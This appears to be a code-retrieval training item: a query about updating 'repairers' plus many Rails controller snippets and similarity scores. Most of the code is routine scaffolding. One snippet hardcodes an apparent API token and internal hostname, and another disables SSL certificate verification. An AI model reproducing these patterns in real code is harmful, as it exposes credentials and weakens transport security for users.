"def create\n @prayer = Prayer.new(params[:prayer])\n\n respond_to do |format|\n if @prayer.save\n format.html { redirect_to @prayer, notice: 'Prayer was successfully created.' }\n format.json { render json: @prayer, status: :created, location: @prayer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @prayer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def repair_order_employees_create\n @business_id = current_business_user.id\n @client_id = current_client.id\n @vehicle_id = current_vehicle.id\n\n @employee_repair_order = current_repair_order.employee_users_repair_orders.new(\n business_user_id: @business_id,\n client_id: @client_id,\n vehicle_id: @vehicle_id,\n employee_user_id: params[:id])\n\n\n if @employee_repair_order.save\n render json: {employee_repair_order: @employee_repair_order.as_json(include: [:repair_order, :vehicle, :client])},\n status: :created\n else\n render json: { errors: @employee_repair_order.errors.full_messages },\n status: :unprocessable_entity\n end\n end",
"def create\n @racer = Racer.new(racer_params)\n\t\t@race = Race.find(racer_params[:race_id])\n\t\[email protected]_id = nil\n respond_to do |format|\n @race.racers << @racer\n if @racer.save\n #format.html { redirect_to @racer, notice: 'Racer was successfully created.' }\n format.html { redirect_to racers_path(:race_id => racer_params[:race_id]), notice: 'Racer was successfully created.' }\n format.json { render :show, status: :created, location: @racer }\n else\n format.html { render :new }\n format.json { render json: @racer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @prepair = Prepair.new(prepair_params)\n\n respond_to do |format|\n if @prepair.save\n format.html { redirect_to @prepair, notice: 'Prepair was successfully created.' }\n format.json { render :show, status: :created, location: @prepair }\n else\n format.html { render :new }\n format.json { render json: @prepair.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @railscareer = Railscareer.new(railscareer_params)\n\n respond_to do |format|\n if @railscareer.save\n format.html { redirect_to @railscareer, notice: 'Railscareer was successfully created.' }\n format.json { render action: 'show', status: :created, location: @railscareer }\n else\n format.html { render action: 'new' }\n format.json { render json: @railscareer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @admin_retailer = Admin::Retailer.new(admin_retailer_params)\n\n respond_to do |format|\n if @admin_retailer.save\n format.html { redirect_to @admin_retailer, notice: 'Retailer was successfully created.' }\n format.json { render :show, status: :created, location: @admin_retailer }\n else\n format.html { render :new }\n format.json { render json: @admin_retailer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @retailer = Retailer.new(params[:retailer])\n\n respond_to do |format|\n if @retailer.save\n format.html { redirect_to @retailer, notice: \"Retailer was successfully created.\" }\n format.json { render json: @retailer, status: :created, location: @retailer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @retailer.errors, status: :unprocessable_entry }\n end\n end\n end",
"def create\n @realtor = Realtor.new(params[:realtor])\n\n respond_to do |format|\n if @realtor.save\n flash[:notice] = 'Realtor was successfully created.'\n format.html { redirect_to(admin_realtors_url) }\n format.xml { render :xml => @realtor, :status => :created, :location => @realtor }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @realtor.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @renter = Renter.new(renter_params)\n\n respond_to do |format|\n if @renter.save\n format.html { redirect_to @renter, notice: 'Renter was successfully created.' }\n format.json { render :show, status: :created, location: @renter }\n else\n format.html { render :new }\n format.json { render json: @renter.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n #@workshop = Workshop.new(params[:workshop][:name])\n req = params[:workshop]\n @workshop = Workshop.new(:name => req[:name] , :address => req[:address] , :contact_numbers => req[:contact_numbers],\n :contact_person => req[:contact_person], :is_premium => req[:is_premium],\n :opening_hours => req[:opening_hours], :website => req[:website] )\n #puts req[:repairs].split(',').size\n #@repairs = Repair.find(req[:repairs])\n #\n #puts params[:workshop][:name]\n respond_to do |format|\n Workshop.transaction do\n begin\n if @workshop.save \n #@repairs = Repair.find(req[:repairs])\n if params[:repairs] != nil\n params[:repairs].each {|x| \n logger.info(x)\n @repairs = Repair.find(x)\n @repairWorkshop = RepairWorkshop.new(:repair => @repairs, :workshop => @workshop)\n @repairWorkshop.save\n }\n end\n format.html { redirect_to @workshop, notice: 'Workshop was successfully created.' }\n format.json { render json: @workshop, status: :created, location: @workshop }\n else\n\n @repairs = Repair.all\n @repairs.each do |r|\n if r.model_id != nil\n @modelName = Model.find(r.model_id).name\n r.name = r.name + '(' + @modelName + ')'\n end \n end\n format.html { render action: \"new\" }\n format.json { render json: @workshop.errors, status: :unprocessable_entity }\n end\n rescue Exception => e\n logger.debug(e.message)\n #puts @repairs\n @repairs = Repair.all\n raise ActiveRecord::Rollback, \"Call tech support!\"\n format.html { render action: \"index\", notice:e.message}\n end\n end\n \n end\n end",
"def create\n @repair_malware_clean = RepairMalwareClean.new(repair_malware_clean_params)\n\n respond_to do |format|\n if @repair_malware_clean.save\n format.html { redirect_to @repair_malware_clean, notice: 'Repair malware clean was successfully created.' }\n format.json { render :show, status: :created, location: @repair_malware_clean }\n else\n format.html { render :new }\n format.json { render json: @repair_malware_clean.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reservation = Reservation.new(params[:reservation])\n @reservation.user_id = current_user.id\n\n respond_to do |format|\n if @reservation.save\n\n # UserMailer.booking_create(current_user, @reservation).deliver\n # OwnerMailer.booking_create(@reservation).deliver\n\n Reward.create( user_id: @reservation.user_id, \n reservation_id: @reservation.id, \n points_total: 5*@reservation.party_size, \n points_pending: 5*@reservation.party_size, \n description: \"\")\n \n format.html { redirect_to @reservation, notice: 'Reservation was successfully created.' }\n format.json { render json: @reservation, status: :created, location: @reservation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # @retailer = Retailer.new(params[:retailer])\n respond_to do |format|\n if @retailer.save\n format.html { redirect_to @retailer, notice: 'Retailer was successfully created.' }\n format.json { render json: @retailer, status: :created, location: @retailer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @retailer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @retailer = Retailer.new(params[:retailer])\n\n respond_to do |format|\n if @retailer.save\n format.html { redirect_to @retailer, notice: 'Retailer was successfully created.' }\n format.json { render json: @retailer, status: :created, location: @retailer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @retailer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n species = Faker::Games::Pokemon.name\n nickname = Faker::Name.first_name\n trainer = Trainer.find(params[:trainer_id])\n if trainer.pokemons.length < 6\n pokemon = Pokemon.create(nickname: nickname, species: species, trainer_id: params[:trainer_id])\n render json: pokemon\n else\n render json: {message: \"Pokemon cannot be created\"}, status: 400\n end\n end",
"def create\n @dealer = Dealer.new(dealer_params)\n respond_to do |format|\n if @dealer.save\n format.html { redirect_to @dealer, notice: 'Dealer was successfully created.' }\n format.json { render :show, status: :created, location: @dealer }\n else\n format.html { render :new }\n format.json { render json: @dealer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n resort = Resort.new(resort_params)\n\n if resort.save\n render json: ResortSerializer.new(resort).serialized_json\n else \n render json: { error: resort.errors.messages }, status: 422\n end\n end",
"def create\n @dealer = Dealer.new(dealer_params)\n\n respond_to do |format|\n if @dealer.save\n format.html { redirect_to @dealer, notice: 'Dealer was successfully created.' }\n format.json { render :show, status: :created, location: @dealer }\n else\n format.html { render :new }\n format.json { render json: @dealer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @repair_type = RepairType.new(params[:repair_type])\n\n respond_to do |format|\n if @repair_type.save\n format.html { redirect_to(@repair_type, :notice => 'Repair type was successfully created.') }\n format.xml { render :xml => @repair_type, :status => :created, :location => @repair_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @repair_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @prayer = Prayer.new(prayer_params)\n\n respond_to do |format|\n if @prayer.save\n format.html { redirect_to @prayer, notice: 'Prayer was successfully created.' }\n format.json { render :show, status: :created, location: @prayer }\n else\n format.html { render :new }\n format.json { render json: @prayer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reparation = Reparation.new(reparation_params)\n\n respond_to do |format|\n if @reparation.save\n format.html { redirect_to @reparation, notice: 'Reparation was successfully created.' }\n format.json { render :show, status: :created, location: @reparation }\n else\n format.html { render :new }\n format.json { render json: @reparation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def resource_way\n # TODO: make json default format?\n\n # try resource style\n #resources = RestClient::Resource.new(\"#{BASE_URL}/#{RESOURCE_NAME}\", \n #'[email protected]', 'please') #, :accept => :json)\n resources = RestClient::Resource.new(\"#{BASE_URL}/#{RESOURCE_NAME}\", 'b4j5qBqzYx5EukCM3Vri') #token\n # \n response = resources.get(:accept => :json)\n all_hosts = JSON.parse(response)\n puts \"EXISTING HOSTS: \" + all_hosts.inspect\n\n new_opts = {\n \"host_name\" => \"damian.np.dc1.eharmony.com\",\n \"alias\" => \"damian.np.dc1.eharmony.com\",\n \"address\" => \"damian.np.dc1.eharmony.com\",\n \"max_check_attempts\" => 3,\n \"notification_interval\" => 5,\n # 24x7\n \"notification_period\" => \"24x7\",\n #\"notification_period_id\" => \"5050cb9ebfa68e0903000001\",\n # 24x7\n \"check_period\" => \"24x7\",\n #\"check_period_id\" => \"5050cb9ebfa68e0903000001\",\n # just using first contact\n #\"contacts\" => [\"pat-obrien\"],\n \"contacts\" => [\"damian\"],\n #\"contact_ids\" => [\"5051283ebfa68e5757000002\"],\n }\n\n\n #puts resources['new'].post(NEW_OPTS.to_json, :content_type => :json, :accept \n #=> :json )\n # NOTE: even though this works and creates a new Host in DB - i still get 406 \n # Not Acceptable response\n #puts resources['new'].post({ RESOURCE_NAME.to_s => new_opts}, :accept => \n #:json )\n begin\n puts resources['new'].post({ RESOURCE_NAME.to_s => new_opts})\n rescue Exception => e\n puts \"ERROR: #{e} = #{e.inspect}\"\n end\n\n \n\n # now edit the resource ...\nend",
"def create\n @dealer = Dealer.new(dealer_params)\n\n respond_to do |format|\n if @dealer.save\n format.html { redirect_to @dealer, notice: 'Dealer was successfully created.' }\n format.json { render action: 'show', status: :created, location: @dealer }\n else\n format.html { render action: 'new' }\n format.json { render json: @dealer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @resveration = Resveration.new(resveration_params)\n\n respond_to do |format|\n if @resveration.save\n format.html { redirect_to @resveration, notice: 'Resveration was successfully created.' }\n format.json { render :show, status: :created, location: @resveration }\n else\n format.html { render :new }\n format.json { render json: @resveration.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @prayer = Prayer.new(prayer_params)\n\n respond_to do |format|\n if @prayer.save\n format.html { redirect_to @prayer, notice: 'Prayer was successfully created.' }\n format.json { render action: 'show', status: :created, location: @prayer }\n else\n format.html { render action: 'new' }\n format.json { render json: @prayer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def submit_report(json, cookbookname)\n data = File.read(json)\n uri = URI.parse($SPEC_ENDPOINT)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = uri.scheme == \"https\"\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Post.new(\"/api/reports\")\n request.add_field('Content-Type', 'application/json')\n request.body = {\n :spec_result => data,\n :hostname => `hostname`.chomp,\n :cookbook_name => cookbookname\n }.to_json\n response = http.request(request)\n end",
"def create\n @consultor = Consultor.new(consultor_params)\n\n respond_to do |format|\n if @consultor.save\n format.html { redirect_to @consultor, notice: 'Consultor was successfully created.' }\n format.json { render :show, status: :created, location: @consultor }\n else\n format.html { render :new }\n format.json { render json: @consultor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @repairer = Repairer.find(params[:id])\n end",
"def create\n @prayer_request = PrayerRequest.new(params[:prayer_request])\n\n respond_to do |format|\n if @prayer_request.save\n format.html { redirect_to prayer_requests_path, notice: 'Prayer request was successfully created.' }\n format.json { render json: @prayer_request, status: :created, location: @prayer_request }\n else\n format.html { render action: \"new\" }\n format.json { render json: @prayer_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n total_volunteers = Volunteer.where(request_id: params[:request_id])\n # mark the request as fulfilled on the 5th volunteer\n if total_volunteers.length() == 4\n #update request\n the_request = Request.find_by_id(params[:request_id])\n the_request.status = 1\n if the_request.save\n # add vol\n volunteer = Volunteer.new({request_id: params[:request_id], requester_id: params[:requester_id], user_id: @current_user.id})\n if volunteer.save\n render json: {\n status: 'success',\n message: 'Your volunteering was successful',\n data: volunteer,\n },\n status: :created\n else\n render json: {\n status: 'error',\n message: 'Volunteering not saved',\n data: volunteer.errors\n },\n status: :unprocessable_entity\n end\n else\n render json: {\n status: 'error',\n message: 'Volunteering not saved',\n data: volunteer.errors\n },\n status: :unprocessable_entity\n end\n\n else\n # add vol only\n # if no duplicate then create the volunteer\n volunteer = Volunteer.new({request_id: params[:request_id], requester_id: params[:requester_id], user_id: @current_user.id})\n if volunteer.save\n render json: {\n status: 'success',\n message: 'Your volunteering was successful',\n data: volunteer,\n },\n status: :created\n else\n render json: {\n status: 'error',\n message: 'Volunteering not saved',\n data: volunteer.errors\n },\n status: :unprocessable_entity\n end\n end\n end",
"def create\n @responder = Responder.new(params[:responder])\n\n respond_to do |format|\n if @responder.save\n format.html { redirect_to @responder, :notice => 'Responder was successfully created.' }\n format.json { render :json => @responder, :status => :created, :location => @responder }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @responder.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @killer = Killer.new(killer_params)\n\n respond_to do |format|\n if @killer.save\n format.html { redirect_to @killer, notice: 'Killer was successfully created.' }\n format.json { render :show, status: :created, location: @killer }\n else\n format.html { render :new }\n format.json { render json: @killer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @consultor = Consultor.new(consultor_params)\n\n respond_to do |format|\n if @consultor.save\n format.html { redirect_to @consultor, notice: 'Consultor was successfully created.' }\n format.json { render action: 'show', status: :created, location: @consultor }\n else\n format.html { render action: 'new' }\n format.json { render json: @consultor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @rater = Rater.new(params[:rater])\n\n respond_to do |format|\n if @rater.save\n format.html { redirect_to @rater, notice: 'Rater was successfully created.' }\n format.json { render json: @rater, status: :created, location: @rater }\n else\n format.html { render action: \"new\" }\n format.json { render json: @rater.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @restaurant = Restaurant.new(restaurant_params)\n if @restaurant.save\n render json: {success: true, restaurant: @restaurant} \n else\n render json: {success: false, errors: @restaurant.errors}, status: :unprocessable_entity\n end\n end",
"def repair_orders_index\n @repair_orders_index = RepairOrder.all\n render json: { repair_orders: @repair_orders_index.as_json },\n status: :ok\n end",
"def create\n @retailer = Retailer.new(retailer_params)\n\n respond_to do |format|\n if @retailer.save\n format.html { redirect_to @retailer, notice: 'Retailer was successfully created.' }\n format.json { render :show, status: :created, location: @retailer }\n else\n format.html { render :new }\n format.json { render json: @retailer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create \n num_days = (Date.parse(params['rent_info']['end_date']).mjd - Date.parse(params['rent_info']['start_date']).mjd) \n total = num_days * params['rent_info']['price_per_day']\n # byebug\n if User.find(params['rent_info']['owner_id'])\n user = User.find(params['rent_info']['owner_id'])\n user.money_made += total \n user.save\n end\n\n renter_post = RenterPost.create(\n renter_id: params['rent_info']['renter_id'],\n post_id: params['rent_info'][\"post_id\"],\n start_date: params['rent_info'][\"start_date\"],\n end_date: params['rent_info'][\"end_date\"],\n status: params['rent_info'][\"status\"]\n )\n if renter_post \n render json: renter_post\n else\n render json: {error: \"Could not create Renter Post\"}\n end\n end",
"def create\n @engineer = Engineer.new(engineer_params)\n r = Rentee.find(params[:rentee_id])\n @engineer.rentee = r\n if @engineer.save\n end\n\n respond_to do |format|\n if @engineer.save\n format.html { redirect_to [@engineer.rentee, @engineer], notice: 'Engineer was successfully created.' }\n format.json { render :show, status: :created, location: @engineer }\n else\n format.html { render :new }\n format.json { render json: @engineer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @rundockerserver = Rundockerserver.new(rundockerserver_params)\n respond_to do |format|\n if @rundockerserver.save\n format.html { redirect_to @rundockerserver, notice: 'Rundockerserver was successfully created.' }\n format.json { render :show, status: :created, location: @rundockerserver }\n else\n format.html { render :new }\n format.json { render json: @rundockerserver.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n passenger = Passenger.new(:name => params[:name], :contact_number => params[:contact_number], :nationality => params[:nationality], :meal_pref => params[:meal_pref])\n passenger.save\n render :json => passenger\n end",
"def create\n @revendedor = Revendedor.new(params[:revendedor])\n\n respond_to do |format|\n if @revendedor.save\n flash[:notice] = 'Revendedor was successfully created.'\n format.html { redirect_to(@revendedor) }\n format.xml { render :xml => @revendedor, :status => :created, :location => @revendedor }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @revendedor.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @derpu = Derpu.new(params[:derpu])\n\n respond_to do |format|\n if @derpu.save\n format.html { redirect_to @derpu, notice: 'Derpu was successfully created.' }\n format.json { render json: @derpu, status: :created, location: @derpu }\n else\n format.html { render action: \"new\" }\n format.json { render json: @derpu.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @arrondissement = Arrondissement.new(arrondissement_params)\n\n respond_to do |format|\n if @arrondissement.save\n format.html { redirect_to arrondissements_path, notice: 'Arrondissement was successfully created.' }\n format.json { render :show, status: :created, location: @arrondissement }\n else\n format.html { render :new }\n format.json { render json: @arrondissement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @serviceproviders = Serviceprovider.all\n respond_to do |format|\n if @repair.update(repair_params)\n format.html { redirect_to @repair, notice: 'Repair was successfully updated.' }\n format.json { render :show, status: :ok, location: @repair }\n else\n format.html { render :edit }\n format.json { render json: @repair.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @prayer_request = PrayerRequest.new(params[:prayer_request])\n\n respond_to do |format|\n if @prayer_request.save\n format.html { redirect_to @prayer_request, notice: 'PrayerRequest was successfully created.' }\n format.json { render json: @prayer_request, status: :created, location: @prayer_request }\n else\n format.html { render action: \"new\" }\n format.json { render json: @prayer_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n json_response(Restaurant.create!(restaurant_params), :created)\n end",
"def create\n @repair_use = RepairUse.new(params[:repair_use])\n @product = Product.find(params[:product_id])\n @repair_use.product = @product\n \n respond_to do |format|\n if @repair_use.save\n format.js { render :action => \"create_repair\" }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @repair_use.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @requesttomentor = Requesttomentor.new(params[:requesttomentor])\n\n respond_to do |format|\n if @requesttomentor.save\n format.html { redirect_to @requesttomentor, notice: 'Requesttomentor was successfully created.' }\n format.json { render json: @requesttomentor, status: :created, location: @requesttomentor }\n else\n format.html { render action: \"new\" }\n format.json { render json: @requesttomentor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @rower = Rower.new(rower_params)\n\n respond_to do |format|\n if @rower.save\n format.html { redirect_to @rower, notice: 'Rower was successfully created.' }\n format.json { render :show, status: :created, location: @rower }\n else\n format.html { render :new }\n format.json { render json: @rower.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @rider = @book.riders.new(rider_params)\n\n respond_to do |format|\n if @rider.save\n # Deep clone coverage in the reference rider\n if rider_params[:reference_id] != \"\"\n reference_rider = Rider.find_by_id(rider_params[:reference_id])\n if reference_rider\n reference_rider.coverages.each { |d| @rider.coverages.create(d.copied_attributes) }\n end\n end\n format.html { redirect_to [@rider.book, @rider], notice: 'Rider was successfully created.' }\n format.json { render :show, status: :created, location: @rider }\n else\n format.html { render :new }\n format.json { render json: @rider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reservation = current_user.reservations.new(params[:reservation])\n\n respond_to do |format|\n if @reservation.save\n format.html { redirect_to @reservation, notice: 'Reservation was successfully created.' }\n format.json { render \"reservations/show\", success: true, status: :created, location: @reservation }\n else\n format.html {\n @menu_items = MenuItem.of_the_next_seven_days.includes(:restaurant)\n @restaurants = @menu_items.collect { |menu_item| menu_item.restaurant }\n render action: \"new\"\n }\n format.json {\n render json: @reservation.errors, status: :unprocessable_entity\n }\n end\n end\n end",
"def create\n @rezervacije = Rezervacije.new(rezervacije_params)\n\n respond_to do |format|\n if @rezervacije.save\n format.html { redirect_to @rezervacije, notice: \"Rezervacije was successfully created.\" }\n format.json { render :show, status: :created, location: @rezervacije }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @rezervacije.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @prossumer = Prossumer.new(prossumer_params)\n\n if @prossumer.save\n ConfirmAccount.welcome(@prossumer).deliver_later\n\n render json: @prossumer, status: :created #, location: @prossumer\n else\n render json: @prossumer.errors, status: :unprocessable_entity\n end\n end",
"def create\n rental = sporting_goods.rentals.new(rental_params)\n rental.user_id = current_user.id\n if rental.save\n render json: rental, status: 200\n else\n render json: rental, status: 400\n end\n end",
"def create\n @warrior = Warrior.new(params[:warrior])\n\n respond_to do |format|\n if @warrior.save\n format.html { redirect_to @warrior, notice: 'Warrior was successfully created.' }\n format.json { render json: @warrior, status: :created, location: @warrior }\n else\n format.html { render action: \"new\" }\n format.json { render json: @warrior.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @warrior = Warrior.new(params[:warrior])\n\n respond_to do |format|\n if @warrior.save\n format.html { redirect_to @warrior, notice: 'Warrior was successfully created.' }\n format.json { render json: @warrior, status: :created, location: @warrior }\n else\n format.html { render action: \"new\" }\n format.json { render json: @warrior.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @distributor = Distributor.new(params[:distributor])\n\n respond_to do |format|\n if @distributor.save\n format.html { redirect_to distributors_url }\n format.json { render json: @distributor, status: :created, location: @distributor }\n else\n format.html { render action: \"new\" }\n format.json { render json: @distributor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def repair_params\n params.require(:repair).permit(:id, :issue_no, :issue_date, :arrive_date, :start_date, :finish_date, :before_comment, :after_comment, :time_of_running, :day_of_test, :returning_comment, :arrival_comment, :order_no, :order_date, :construction_no, :desirable_finish_date, :estimated_finish_date, :engine_id, :enginestatus_id, :shipped_date)\n end",
"def create\n @responder = Responder.new(responder_params)\n\n respond_to do |format|\n if @responder.save\n format.html { redirect_to @responder, notice: 'Responder was successfully created.' }\n format.json { render :show, status: :created, location: @responder }\n else\n format.html { render :new }\n format.json { render json: @responder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reemper_valoration = ReemperValoration.create(user_id: params[:user_id], reemper_id: params[:reemper_id], valoration: params[:valoration], description: params[:description])\n\n respond_to do |format|\n if @reemper_valoration.save\n format.js\n format.json { render :show, status: :created, location: @reemper_valoration }\n else\n format.html { render :new }\n format.json { render json: @reemper_valoration.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @resturant = Resturant.new(resturant_params)\n\n respond_to do |format|\n if @resturant.save\n format.html { redirect_to root_url, notice: 'Resturant was successfully created.' }\n format.json { render :show, status: :created, location: @resturant }\n else\n format.html { render :new }\n format.json { render json: @resturant.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if @user.hearts >= @reward.cost\n @redemption = Redemption.new()\n @redemption.user = @user\n @redemption.cost = @reward.cost\n @redemption.reward = @reward\n\n if @reward.ifttt?\n key = ENV[\"IFTTT_KEY\"]\n\turl = \"https://maker.ifttt.com/trigger/#{@user.account}#{@reward.event}/with/key/#{key}\"\n\tresponse = RestClient.get url\n\n\trespond_to do |format|\n\t if response.code == 200 && @redemption.save\n @user.hearts = @user.hearts - @reward.cost\n @user.save!\n\n format.json { render json: @redemption.as_json(include: {reward: {only: :name}}).merge({hearts: @user.hearts}), status: :created }\n else\n format.json { render json: nil, status: :not_acceptable }\n end\n end\n elsif @reward.cash?\n \trespond_to do |format|\n if @redemption.save\n @user.hearts = @user.hearts - @reward.cost\n\t @user.save!\n\t SmsMailer.sms_email(Admin.all.first).deliver\n\n\t format.json { render json: @redemption.as_json(include: {reward: {only: :name}}).merge({hearts: @user.hearts}), status: :created }\n\t else\n\t format.json { render json: nil, status: :not_acceptable }\n\t end\n\tend\n end\n else\n respond_to do |format|\n format.json { render json: {message: \"Not enough hearts!\"}, status: :not_acceptable }\n end\n end\n end",
"def create\n @vehicle_reservation = VehicleReservation.new(vehicle_reservation_params)\n\n respond_to do |format|\n if @vehicle_reservation.save\n\n User.where(role:\"admin\").each do |user|\n NotifyUserMailer.vehicle_reservation_made(@vehicle_reservation, user).deliver\n end\n\n format.html { redirect_to @vehicle_reservation, notice: 'Reserva cadastrada com sucesso.' }\n format.json { render :show, status: :created, location: @vehicle_reservation }\n else\n format.html { render :new }\n format.json { render json: @vehicle_reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @repairshop = Repairshop.new(params[:repairshop])\n\n respond_to do |format|\n if @repairshop.save\n format.html { redirect_to(@repairshop, :notice => 'Repairshop was successfully created.') }\n format.xml { render :xml => @repairshop, :status => :created, :location => @repairshop }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @repairshop.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @spawner = Spawner.new(spawner_params)\n @fieldtrips = Fieldtrip.all\n\n respond_to do |format|\n if @spawner.save\n format.html { redirect_to @spawner, notice: 'Spawner was successfully created.' }\n format.json { render json: @spawner, status: :created, location: @spawner }\n else\n format.html { render action: \"new\" }\n format.json { render json: @spawner.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @type_repair.destroy\n respond_to do |format|\n format.html { redirect_to type_repairs_url, notice: 'Type repair was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n @respuesta = Respuesta.new(params[:respuesta])\n\n if @respuesta.save\n render json: @respuesta, status: :created, location: @respuesta\n else\n render json: @respuesta.errors, status: :unprocessable_entity\n end\n end",
"def create\n @prayer = current_user.prayers.build(params[:prayer])\n\n respond_to do |format|\n if @prayer.save\n flash[:success] = \"Prayer created!\"\n format.html { redirect_to root_url, notice: 'Prayer was successfully created.' }\n format.json { render json: @prayer, status: :created, location: @prayer }\n else\n @feed_items = []\n format.html { render action: \"static_pages/home\" }\n format.json { render json: @prayer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @scratcher = Scratcher.new(permitted_params)\n\n if @scratcher.save\n render json: @scratcher, status: :created, location: @scratcher\n else\n render json: @scratcher.errors, status: :unprocessable_entity\n end\n end"
] | [
"0.69924724",
"0.6167414",
"0.6005678",
"0.59674585",
"0.5936493",
"0.58602905",
"0.57868075",
"0.5728699",
"0.57127887",
"0.57081014",
"0.5649496",
"0.561759",
"0.55338657",
"0.5523063",
"0.5511159",
"0.54969805",
"0.54758346",
"0.5444536",
"0.5409037",
"0.5389674",
"0.5366305",
"0.53629607",
"0.53451455",
"0.5344624",
"0.5284165",
"0.5253222",
"0.52252007",
"0.5204943",
"0.5204943",
"0.5204943",
"0.51998997",
"0.5177689",
"0.5177388",
"0.5126721",
"0.5118887",
"0.51164067",
"0.51126105",
"0.5112255",
"0.50991315",
"0.5096445",
"0.50956213",
"0.509462",
"0.5083124",
"0.50799143",
"0.50755054",
"0.50541854",
"0.5051881",
"0.50444746",
"0.50343114",
"0.5020712",
"0.5019017",
"0.5017195",
"0.50010645",
"0.49846688",
"0.49699727",
"0.49696943",
"0.49608818",
"0.49551025",
"0.49539337",
"0.49435347",
"0.49417722",
"0.4941451",
"0.49410528",
"0.4938803",
"0.4936938",
"0.49339372",
"0.49302694",
"0.4928768",
"0.49258175",
"0.49203554",
"0.4906375",
"0.4903571",
"0.49000168",
"0.48996326",
"0.48965883",
"0.48887992",
"0.48851916",
"0.48843837",
"0.48836958",
"0.4880758",
"0.48800078",
"0.4876521",
"0.48652947",
"0.4864738",
"0.4861019",
"0.48580948",
"0.48580948",
"0.48560312",
"0.48516014",
"0.48492363",
"0.48477358",
"0.4846511",
"0.48438737",
"0.4832508",
"0.48296222",
"0.4826754",
"0.48238358",
"0.48233926",
"0.48232797",
"0.48199496"
] | 0.67555976 | 1 |
PATCH/PUT /repairers/1 PATCH/PUT /repairers/1.json | def update
respond_to do |format|
if @repairer.update(repairer_params)
format.html { redirect_to @repairer, notice: 'Repairer was successfully updated.' }
format.json { render :show, status: :ok, location: @repairer }
else
format.html { render :edit }
format.json { render json: @repairer.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n @repairer = Repairer.find(params[:id])\n\n respond_to do |format|\n if @repairer.update_attributes(params[:repairer])\n format.html { redirect_to @repairer, notice: 'Repairer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @repairer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @serviceproviders = Serviceprovider.all\n respond_to do |format|\n if @repair.update(repair_params)\n format.html { redirect_to @repair, notice: 'Repair was successfully updated.' }\n format.json { render :show, status: :ok, location: @repair }\n else\n format.html { render :edit }\n format.json { render json: @repair.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n unless current_user.has_perm?(\"repairs_repairs_can_edit\")\n permission_deny\n else\n @repair = Repair.find(params[:id])\n\n respond_to do |format|\n if @repair.update_attributes(params[:repair])\n flash[:notice] = 'Repair was successfully updated.'\n format.html { redirect_to([:admin, @repair]) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @repair.errors, :status => :unprocessable_entity }\n end\n end\n end\n end",
